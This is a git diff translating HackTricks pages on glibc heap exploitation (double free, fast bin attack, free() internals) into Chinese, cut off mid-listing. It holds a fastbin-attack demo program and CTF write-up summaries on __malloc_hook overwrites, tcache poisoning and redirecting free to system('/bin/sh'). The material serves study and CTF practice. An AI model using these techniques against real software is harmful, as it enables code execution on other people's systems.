-## Examples +## 示例 - [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/) - - We can only allocate Fast-Bin-sized chunks except for size `0x70`, which prevents the usual `__malloc_hook` overwrite. - - Instead, we use PIE addresses that start with `0x56` as a target for Fast Bin dup (1/2 chance). - - One place where PIE addresses are stored is in `main_arena`, which is inside Glibc and near `__malloc_hook` - - We target a specific offset of `main_arena` to allocate a chunk there and continue allocating chunks until reaching `__malloc_hook` to get code execution. +- 我们只能分配 Fast-Bin 大小的块,除了大小为 `0x70`,这会阻止通常的 `__malloc_hook` 被覆盖。 +- 相反,我们使用以 `0x56` 开头的 PIE 地址作为 Fast Bin dup 的目标(1/2 的机会)。 +- PIE 地址存储的一个地方是在 `main_arena` 中,它位于 Glibc 内部,并靠近 `__malloc_hook` +- 我们针对 `main_arena` 的特定偏移量来分配一个块,并继续分配块,直到到达 `__malloc_hook` 以获取代码执行。 - [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/) - - Using Tcache bins and a null-byte overflow, we can achieve a double-free situation: - - We allocate three chunks of size `0x110` (`A`, `B`, `C`) - - We free `B` - - We free `A` and allocate again to use the null-byte overflow - - Now `B`'s size field is `0x100`, instead of `0x111`, so we can free it again - - We have one Tcache-bin of size `0x110` and one of size `0x100` that point to the same address. So we have a double free. - - We leverage the double free using [Tcache poisoning](tcache-bin-attack.md) +- 使用 Tcache bins 和一个 null-byte 溢出,我们可以实现双重释放的情况: +- 我们分配三个大小为 `0x110` 的块(`A`,`B`,`C`) +- 我们释放 `B` +- 我们释放 `A` 并再次分配以使用 null-byte 溢出 +- 现在 `B` 的大小字段是 `0x100`,而不是 `0x111`,所以我们可以再次释放它 +- 我们有一个大小为 `0x110` 的 Tcache-bin 和一个大小为 `0x100` 的 Tcache-bin,它们指向同一地址。因此我们有一个双重释放。 +- 我们利用双重释放使用 [Tcache poisoning](tcache-bin-attack.md) -## References +## 参考 - [https://heap-exploitation.dhavalkapil.com/attacks/double_free](https://heap-exploitation.dhavalkapil.com/attacks/double_free) diff --git a/src/binary-exploitation/libc-heap/fast-bin-attack.md b/src/binary-exploitation/libc-heap/fast-bin-attack.md index c36c675de..1fe0d4082 100644 --- a/src/binary-exploitation/libc-heap/fast-bin-attack.md +++ b/src/binary-exploitation/libc-heap/fast-bin-attack.md @@ -2,18 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -For more information about what is a fast bin check this page: +有关快速分配的更多信息,请查看此页面: {{#ref}} bins-and-memory-allocations.md {{#endref}} -Because the fast bin is a singly linked list, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**. - -As summary: +由于快速分配是一个单链表,因此其保护措施比其他分配少,**修改已释放的快速分配**块中的地址就足以**在任何内存地址分配一个块**。 +总结: ```c ptr0 = malloc(0x20); ptr1 = malloc(0x20); @@ -29,9 +28,7 @@ free(ptr1) ptr2 = malloc(0x20); // This will get ptr1 ptr3 = malloc(0x20); // This will get a chunk in the
which could be abuse to overwrite arbitrary content inside of it ``` - -You can find a full example in a very well explained code from [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html): - +您可以在一个非常清晰的代码示例中找到完整的例子,来自 [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html): ```c #include #include @@ -39,112 +36,111 @@ You can find a full example in a very well explained code from [https://guyinatu int main(void) { - puts("Today we will be discussing a fastbin attack."); - puts("There are 10 fastbins, which act as linked lists (they're separated by size)."); - puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists."); - puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it)."); - puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)"); - puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate."); - puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin."); - puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n"); - puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n"); +puts("Today we will be discussing a fastbin attack."); +puts("There are 10 fastbins, which act as linked lists (they're separated by size)."); +puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists."); +puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it)."); +puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)"); +puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate."); +puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin."); +puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n"); +puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n"); - puts("Let's start, we will allocate three chunks of size 0x30\n"); - unsigned long *ptr0, *ptr1, *ptr2; +puts("Let's start, we will allocate three chunks of size 0x30\n"); +unsigned long *ptr0, *ptr1, *ptr2; - ptr0 = malloc(0x30); - ptr1 = malloc(0x30); - ptr2 = malloc(0x30); +ptr0 = malloc(0x30); +ptr1 = malloc(0x30); +ptr2 = malloc(0x30); - printf("Chunk 0: %p\n", ptr0); - printf("Chunk 1: %p\n", ptr1); - printf("Chunk 2: %p\n\n", ptr2); +printf("Chunk 0: %p\n", ptr0); +printf("Chunk 1: %p\n", ptr1); +printf("Chunk 2: %p\n\n", ptr2); - printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n"); +printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n"); - int stackVar = 0x55; +int stackVar = 0x55; - printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar); +printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar); - printf("Proceeding that I'm going to write just some data to the three heap chunks\n"); +printf("Proceeding that I'm going to write just some data to the three heap chunks\n"); - char *data0 = "00000000"; - char *data1 = "11111111"; - char *data2 = "22222222"; +char *data0 = "00000000"; +char *data1 = "11111111"; +char *data2 = "22222222"; - memcpy(ptr0, data0, 0x8); - memcpy(ptr1, data1, 0x8); - memcpy(ptr2, data2, 0x8); +memcpy(ptr0, data0, 0x8); +memcpy(ptr1, data1, 0x8); +memcpy(ptr2, data2, 0x8); - printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n"); +printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n"); - printf("Chunk 0: %s\n", (char *)ptr0); - printf("Chunk 1: %s\n", (char *)ptr1); - printf("Chunk 2: %s\n\n", (char *)ptr2); +printf("Chunk 0: %s\n", (char *)ptr0); +printf("Chunk 1: %s\n", (char *)ptr1); +printf("Chunk 2: %s\n\n", (char *)ptr2); - printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n"); +printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n"); - free(ptr0); - free(ptr1); - free(ptr2); +free(ptr0); +free(ptr1); +free(ptr2); - printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0); - printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1); - printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2); +printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0); +printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1); +printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2); - printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n"); +printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n"); - printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n"); - printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n"); +printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n"); +printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n"); - *ptr1 = (unsigned long)((char *)&stackVar); +*ptr1 = (unsigned long)((char *)&stackVar); - printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1); +printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1); - printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n"); - printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n"); +printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n"); +printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n"); - unsigned long *ptr3, *ptr4, *ptr5; +unsigned long *ptr3, *ptr4, *ptr5; - ptr3 = malloc(0x30); - ptr4 = malloc(0x30); - ptr5 = malloc(0x30); +ptr3 = malloc(0x30); +ptr4 = malloc(0x30); +ptr5 = malloc(0x30); - printf("Chunk 3: %p\n", ptr3); - printf("Chunk 4: %p\n", ptr4); - printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5); +printf("Chunk 3: %p\n", ptr3); +printf("Chunk 4: %p\n", ptr4); +printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5); - printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n"); +printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n"); } ``` - > [!CAUTION] -> If it's possible to overwrite the value of the global variable **`global_max_fast`** with a big number, this allows to generate fast bin chunks of bigger sizes, potentially allowing to perform fast bin attacks in scenarios where it wasn't possible previously. This situation useful in the context of [large bin attack](large-bin-attack.md) and [unsorted bin attack](unsorted-bin-attack.md) +> 如果可以用一个大数字覆盖全局变量 **`global_max_fast`** 的值,这将允许生成更大尺寸的快速 bin 块,可能在之前无法进行快速 bin 攻击的场景中执行。这种情况在 [large bin attack](large-bin-attack.md) 和 [unsorted bin attack](unsorted-bin-attack.md) 的上下文中非常有用。 -## Examples +## 示例 - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:** - - It's possible to allocate chunks, free them, read their contents and fill them (with an overflow vulnerability). - - **Consolidate chunk for infoleak**: The technique is basically to abuse the overflow to create a fake `prev_size` so one previous chunks is put inside a bigger one, so when allocating the bigger one containing another chunk, it's possible to print it's data an leak an address to libc (`main_arena+88`). - - **Overwrite malloc hook**: For this, and abusing the previous overlapping situation, it was possible to have 2 chunks that were pointing to the same memory. Therefore, freeing them both (freeing another chunk in between to avoid protections) it was possible to have the same chunk in the fast bin 2 times. Then, it was possible to allocate it again, overwrite the address to the next chunk to point a bit before `__malloc_hook` (so it points to an integer that malloc thinks is a free size - another bypass), allocate it again and then allocate another chunk that will receive an address to malloc hooks.\ - Finally a **one gadget** was written in there. +- 可以分配块,释放它们,读取其内容并填充它们(通过溢出漏洞)。 +- **合并块以进行信息泄露**:该技术基本上是利用溢出创建一个假的 `prev_size`,使一个前面的块放入一个更大的块中,因此在分配包含另一个块的更大块时,可以打印其数据并泄露一个 libc 地址(`main_arena+88`)。 +- **覆盖 malloc hook**:为此,并利用之前的重叠情况,可以有 2 个块指向相同的内存。因此,释放它们两个(在中间释放另一个块以避免保护)可以使同一个块在快速 bin 中出现 2 次。然后,可以再次分配它,覆盖下一个块的地址,使其指向 `__malloc_hook` 之前的一点(因此它指向一个 malloc 认为是空闲大小的整数 - 另一个绕过),再次分配它,然后分配另一个块,该块将接收指向 malloc hooks 的地址。\ +最后,一个 **one gadget** 被写入其中。 - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:** - - There is a heap overflow and use after free and double free because when a chunk is freed it's possible to reuse and re-free the pointers - - **Libc info leak**: Just free some chunks and they will get a pointer to a part of the main arena location. As you can reuse freed pointers, just read this address. - - **Fast bin attack**: All the pointers to the allocations are stored inside an array, so we can free a couple of fast bin chunks and in the last one overwrite the address to point a bit before this array of pointers. Then, allocate a couple of chunks with the same size and we will get first the legit one and then the fake one containing the array of pointers. We can now overwrite this allocation pointers to make the GOT address of `free` point to `system` and then write `"/bin/sh"` in chunk 1 to then call `free(chunk1)` which instead will execute `system("/bin/sh")`. +- 存在堆溢出和使用后释放以及双重释放,因为当一个块被释放时,可以重用和重新释放指针。 +- **Libc 信息泄露**:只需释放一些块,它们将获得指向主 arena 位置的一部分的指针。由于可以重用已释放的指针,只需读取此地址。 +- **快速 bin 攻击**:所有分配的指针都存储在一个数组中,因此我们可以释放几个快速 bin 块,并在最后一个块中覆盖地址以指向这个指针数组之前的一点。然后,分配几个相同大小的块,我们将首先获得合法的一个,然后是包含指针数组的伪造一个。我们现在可以覆盖这个分配指针,使 `free` 的 GOT 地址指向 `system`,然后在块 1 中写入 `"/bin/sh"`,然后调用 `free(chunk1)`,这将执行 `system("/bin/sh")`。 - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) - - Another example of abusing a one byte overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address +- 另一个例子是利用一个字节溢出在未排序的 bin 中合并块并获取 libc 信息泄露,然后执行快速 bin 攻击以用一个 gadget 地址覆盖 malloc hook。 - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) - - After an infoleak abusing the unsorted bin with a UAF to leak a libc address and a PIE address, the exploit of this CTF used a fast bin attack to allocate a chunk in a place where the pointers to controlled chunks were located so it was possible to overwrite certain pointers to write a one gadget in the GOT - - You can find a Fast Bin attack abused through an unsorted bin attack: - - Note that it's common before performing fast bin attacks to abuse the free-lists to leak libc/heap addresses (when needed). +- 在利用未排序的 bin 进行信息泄露后,通过 UAF 泄露 libc 地址和 PIE 地址,此 CTF 的利用使用快速 bin 攻击在指向受控块的指针所在的位置分配一个块,因此可以覆盖某些指针以在 GOT 中写入一个 gadget。 +- 你可以找到通过未排序的 bin 攻击滥用的快速 bin 攻击: +- 请注意,在执行快速 bin 攻击之前,通常会滥用空闲列表以泄露 libc/heap 地址(在需要时)。 - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) - - We can only allocate chunks of size greater than `0x100`. - - Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits). - - Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`. +- 我们只能分配大于 `0x100` 的块。 +- 使用未排序的 bin 攻击覆盖 `global_max_fast`(由于 ASLR,成功率为 1/16,因为我们需要修改 12 位,但必须修改 16 位)。 +- 快速 bin 攻击以修改全局块数组。这提供了一个任意读/写原语,允许修改 GOT 并将某些函数指向 `system`。 {{#ref}} unsorted-bin-attack.md diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/README.md b/src/binary-exploitation/libc-heap/heap-memory-functions/README.md index 04855d5fb..e6bde113a 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/README.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/README.md @@ -1,4 +1,4 @@ -# Heap Memory Functions +# 堆内存函数 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/free.md b/src/binary-exploitation/libc-heap/heap-memory-functions/free.md index e57b1fa77..ae73fd453 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/free.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/free.md @@ -4,93 +4,90 @@ ## Free Order Summary -(No checks are explained in this summary and some case have been omitted for brevity) +(此摘要中未解释检查,并且出于简洁性省略了一些情况) -1. If the address is null don't do anything -2. If the chunk was mmaped, mummap it and finish -3. Call `_int_free`: - 1. If possible, add the chunk to the tcache - 2. If possible, add the chunk to the fast bin - 3. Call `_int_free_merge_chunk` to consolidate the chunk is needed and add it to the unsorted list +1. 如果地址为 null,不要做任何事情 +2. 如果块是 mmaped,进行 mummap 并结束 +3. 调用 `_int_free`: + 1. 如果可能,将块添加到 tcache + 2. 如果可能,将块添加到 fast bin + 3. 调用 `_int_free_merge_chunk` 以合并块(如有需要)并将其添加到未排序列表 ## \_\_libc_free -`Free` calls `__libc_free`. +`Free` 调用 `__libc_free`。 -- If the address passed is Null (0) don't do anything. -- Check pointer tag -- If the chunk is `mmaped`, `mummap` it and that all -- If not, add the color and call `_int_free` over it +- 如果传递的地址为 Null (0),不要做任何事情。 +- 检查指针标签 +- 如果块是 `mmaped`,进行 `mummap`,就这样 +- 如果不是,添加颜色并在其上调用 `_int_free`
__lib_free code - ```c void __libc_free (void *mem) { - mstate ar_ptr; - mchunkptr p; /* chunk corresponding to mem */ +mstate ar_ptr; +mchunkptr p; /* chunk corresponding to mem */ - if (mem == 0) /* free(0) has no effect */ - return; +if (mem == 0) /* free(0) has no effect */ +return; - /* Quickly check that the freed pointer matches the tag for the memory. - This gives a useful double-free detection. */ - if (__glibc_unlikely (mtag_enabled)) - *(volatile char *)mem; +/* Quickly check that the freed pointer matches the tag for the memory. +This gives a useful double-free detection. */ +if (__glibc_unlikely (mtag_enabled)) +*(volatile char *)mem; - int err = errno; +int err = errno; - p = mem2chunk (mem); +p = mem2chunk (mem); - if (chunk_is_mmapped (p)) /* release mmapped memory. */ - { - /* See if the dynamic brk/mmap threshold needs adjusting. - Dumped fake mmapped chunks do not affect the threshold. */ - if (!mp_.no_dyn_threshold - && chunksize_nomask (p) > mp_.mmap_threshold - && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX) - { - mp_.mmap_threshold = chunksize (p); - mp_.trim_threshold = 2 * mp_.mmap_threshold; - LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, - mp_.mmap_threshold, mp_.trim_threshold); - } - munmap_chunk (p); - } - else - { - MAYBE_INIT_TCACHE (); +if (chunk_is_mmapped (p)) /* release mmapped memory. */ +{ +/* See if the dynamic brk/mmap threshold needs adjusting. +Dumped fake mmapped chunks do not affect the threshold. */ +if (!mp_.no_dyn_threshold +&& chunksize_nomask (p) > mp_.mmap_threshold +&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX) +{ +mp_.mmap_threshold = chunksize (p); +mp_.trim_threshold = 2 * mp_.mmap_threshold; +LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, +mp_.mmap_threshold, mp_.trim_threshold); +} +munmap_chunk (p); +} +else +{ +MAYBE_INIT_TCACHE (); - /* Mark the chunk as belonging to the library again. */ - (void)tag_region (chunk2mem (p), memsize (p)); +/* Mark the chunk as belonging to the library again. */ +(void)tag_region (chunk2mem (p), memsize (p)); - ar_ptr = arena_for_chunk (p); - _int_free (ar_ptr, p, 0); - } +ar_ptr = arena_for_chunk (p); +_int_free (ar_ptr, p, 0); +} - __set_errno (err); +__set_errno (err); } libc_hidden_def (__libc_free) ``` -
## \_int_free -### \_int_free start +### \_int_free 开始 -It starts with some checks making sure: +它开始时进行一些检查,以确保: -- the **pointer** is **aligned,** or trigger error `free(): invalid pointer` -- the **size** isn't less than the minimum and that the **size** is also **aligned** or trigger error: `free(): invalid size` +- **指针**是**对齐的,**否则触发错误 `free(): invalid pointer` +- **大小**不小于最小值,并且**大小**也**对齐,**否则触发错误:`free(): invalid size`
-_int_free start - +_int_free 开始 ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28 @@ -99,288 +96,279 @@ It starts with some checks making sure: static void _int_free (mstate av, mchunkptr p, int have_lock) { - INTERNAL_SIZE_T size; /* its size */ - mfastbinptr *fb; /* associated fastbin */ +INTERNAL_SIZE_T size; /* its size */ +mfastbinptr *fb; /* associated fastbin */ - size = chunksize (p); +size = chunksize (p); - /* Little security check which won't hurt performance: the - allocator never wraps around at the end of the address space. - Therefore we can exclude some size values which might appear - here by accident or by "design" from some intruder. */ - if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) - || __builtin_expect (misaligned_chunk (p), 0)) - malloc_printerr ("free(): invalid pointer"); - /* We know that each chunk is at least MINSIZE bytes in size or a - multiple of MALLOC_ALIGNMENT. */ - if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size))) - malloc_printerr ("free(): invalid size"); +/* Little security check which won't hurt performance: the +allocator never wraps around at the end of the address space. +Therefore we can exclude some size values which might appear +here by accident or by "design" from some intruder. */ +if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) +|| __builtin_expect (misaligned_chunk (p), 0)) +malloc_printerr ("free(): invalid pointer"); +/* We know that each chunk is at least MINSIZE bytes in size or a +multiple of MALLOC_ALIGNMENT. */ +if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size))) +malloc_printerr ("free(): invalid size"); - check_inuse_chunk(av, p); +check_inuse_chunk(av, p); ``` -
### \_int_free tcache -It'll first try to allocate this chunk in the related tcache. However, some checks are performed previously. It'll loop through all the chunks of the tcache in the same index as the freed chunk and: +它首先会尝试在相关的 tcache 中分配这个块。然而,之前会进行一些检查。它会循环遍历与已释放块相同索引的 tcache 中的所有块,并且: -- If there are more entries than `mp_.tcache_count`: `free(): too many chunks detected in tcache` -- If the entry is not aligned: free(): `unaligned chunk detected in tcache 2` -- if the freed chunk was already freed and is present as chunk in the tcache: `free(): double free detected in tcache 2` +- 如果条目超过 `mp_.tcache_count`:`free(): too many chunks detected in tcache` +- 如果条目未对齐:`free(): unaligned chunk detected in tcache 2` +- 如果已释放的块已经被释放并且作为块存在于 tcache 中:`free(): double free detected in tcache 2` -If all goes well, the chunk is added to the tcache and the functions returns. +如果一切顺利,块将被添加到 tcache 中,函数返回。
_int_free tcache - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7 #if USE_TCACHE - { - size_t tc_idx = csize2tidx (size); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - { - /* Check to see if it's already in the tcache. */ - tcache_entry *e = (tcache_entry *) chunk2mem (p); +{ +size_t tc_idx = csize2tidx (size); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +{ +/* Check to see if it's already in the tcache. */ +tcache_entry *e = (tcache_entry *) chunk2mem (p); - /* This test succeeds on double free. However, we don't 100% - trust it (it also matches random payload data at a 1 in - 2^ chance), so verify it's not an unlikely - coincidence before aborting. */ - if (__glibc_unlikely (e->key == tcache_key)) - { - tcache_entry *tmp; - size_t cnt = 0; - LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); - for (tmp = tcache->entries[tc_idx]; - tmp; - tmp = REVEAL_PTR (tmp->next), ++cnt) - { - if (cnt >= mp_.tcache_count) - malloc_printerr ("free(): too many chunks detected in tcache"); - if (__glibc_unlikely (!aligned_OK (tmp))) - malloc_printerr ("free(): unaligned chunk detected in tcache 2"); - if (tmp == e) - malloc_printerr ("free(): double free detected in tcache 2"); - /* If we get here, it was a coincidence. We've wasted a - few cycles, but don't abort. */ - } - } +/* This test succeeds on double free. However, we don't 100% +trust it (it also matches random payload data at a 1 in +2^ chance), so verify it's not an unlikely +coincidence before aborting. */ +if (__glibc_unlikely (e->key == tcache_key)) +{ +tcache_entry *tmp; +size_t cnt = 0; +LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); +for (tmp = tcache->entries[tc_idx]; +tmp; +tmp = REVEAL_PTR (tmp->next), ++cnt) +{ +if (cnt >= mp_.tcache_count) +malloc_printerr ("free(): too many chunks detected in tcache"); +if (__glibc_unlikely (!aligned_OK (tmp))) +malloc_printerr ("free(): unaligned chunk detected in tcache 2"); +if (tmp == e) +malloc_printerr ("free(): double free detected in tcache 2"); +/* If we get here, it was a coincidence. We've wasted a +few cycles, but don't abort. */ +} +} - if (tcache->counts[tc_idx] < mp_.tcache_count) - { - tcache_put (p, tc_idx); - return; - } - } - } +if (tcache->counts[tc_idx] < mp_.tcache_count) +{ +tcache_put (p, tc_idx); +return; +} +} +} #endif ``` -
### \_int_free fast bin -Start by checking that the size is suitable for fast bin and check if it's possible to set it close to the top chunk. +首先检查大小是否适合 fast bin,并检查是否可以将其设置靠近顶部块。 -Then, add the freed chunk at the top of the fast bin while performing some checks: +然后,在执行一些检查的同时,将释放的块添加到 fast bin 的顶部: -- If the size of the chunk is invalid (too big or small) trigger: `free(): invalid next size (fast)` -- If the added chunk was already the top of the fast bin: `double free or corruption (fasttop)` -- If the size of the chunk at the top has a different size of the chunk we are adding: `invalid fastbin entry (free)` +- 如果块的大小无效(太大或太小),触发:`free(): invalid next size (fast)` +- 如果添加的块已经是 fast bin 的顶部:`double free or corruption (fasttop)` +- 如果顶部块的大小与我们添加的块的大小不同:`invalid fastbin entry (free)`
_int_free Fast Bin - ```c - // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4 +// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4 - /* - If eligible, place chunk on a fastbin so it can be found - and used quickly in malloc. - */ +/* +If eligible, place chunk on a fastbin so it can be found +and used quickly in malloc. +*/ - if ((unsigned long)(size) <= (unsigned long)(get_max_fast ()) +if ((unsigned long)(size) <= (unsigned long)(get_max_fast ()) #if TRIM_FASTBINS - /* - If TRIM_FASTBINS set, don't place chunks - bordering top into fastbins - */ - && (chunk_at_offset(p, size) != av->top) +/* +If TRIM_FASTBINS set, don't place chunks +bordering top into fastbins +*/ +&& (chunk_at_offset(p, size) != av->top) #endif - ) { +) { - if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) - <= CHUNK_HDR_SZ, 0) - || __builtin_expect (chunksize (chunk_at_offset (p, size)) - >= av->system_mem, 0)) - { - bool fail = true; - /* We might not have a lock at this point and concurrent modifications - of system_mem might result in a false positive. Redo the test after - getting the lock. */ - if (!have_lock) - { - __libc_lock_lock (av->mutex); - fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ - || chunksize (chunk_at_offset (p, size)) >= av->system_mem); - __libc_lock_unlock (av->mutex); - } +if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) +<= CHUNK_HDR_SZ, 0) +|| __builtin_expect (chunksize (chunk_at_offset (p, size)) +>= av->system_mem, 0)) +{ +bool fail = true; +/* We might not have a lock at this point and concurrent modifications +of system_mem might result in a false positive. Redo the test after +getting the lock. */ +if (!have_lock) +{ +__libc_lock_lock (av->mutex); +fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ +|| chunksize (chunk_at_offset (p, size)) >= av->system_mem); +__libc_lock_unlock (av->mutex); +} - if (fail) - malloc_printerr ("free(): invalid next size (fast)"); - } +if (fail) +malloc_printerr ("free(): invalid next size (fast)"); +} - free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); +free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); - atomic_store_relaxed (&av->have_fastchunks, true); - unsigned int idx = fastbin_index(size); - fb = &fastbin (av, idx); +atomic_store_relaxed (&av->have_fastchunks, true); +unsigned int idx = fastbin_index(size); +fb = &fastbin (av, idx); - /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */ - mchunkptr old = *fb, old2; +/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */ +mchunkptr old = *fb, old2; - if (SINGLE_THREAD_P) - { - /* Check that the top of the bin is not the record we are going to - add (i.e., double free). */ - if (__builtin_expect (old == p, 0)) - malloc_printerr ("double free or corruption (fasttop)"); - p->fd = PROTECT_PTR (&p->fd, old); - *fb = p; - } - else - do - { - /* Check that the top of the bin is not the record we are going to - add (i.e., double free). */ - if (__builtin_expect (old == p, 0)) - malloc_printerr ("double free or corruption (fasttop)"); - old2 = old; - p->fd = PROTECT_PTR (&p->fd, old); - } - while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) - != old2); +if (SINGLE_THREAD_P) +{ +/* Check that the top of the bin is not the record we are going to +add (i.e., double free). */ +if (__builtin_expect (old == p, 0)) +malloc_printerr ("double free or corruption (fasttop)"); +p->fd = PROTECT_PTR (&p->fd, old); +*fb = p; +} +else +do +{ +/* Check that the top of the bin is not the record we are going to +add (i.e., double free). */ +if (__builtin_expect (old == p, 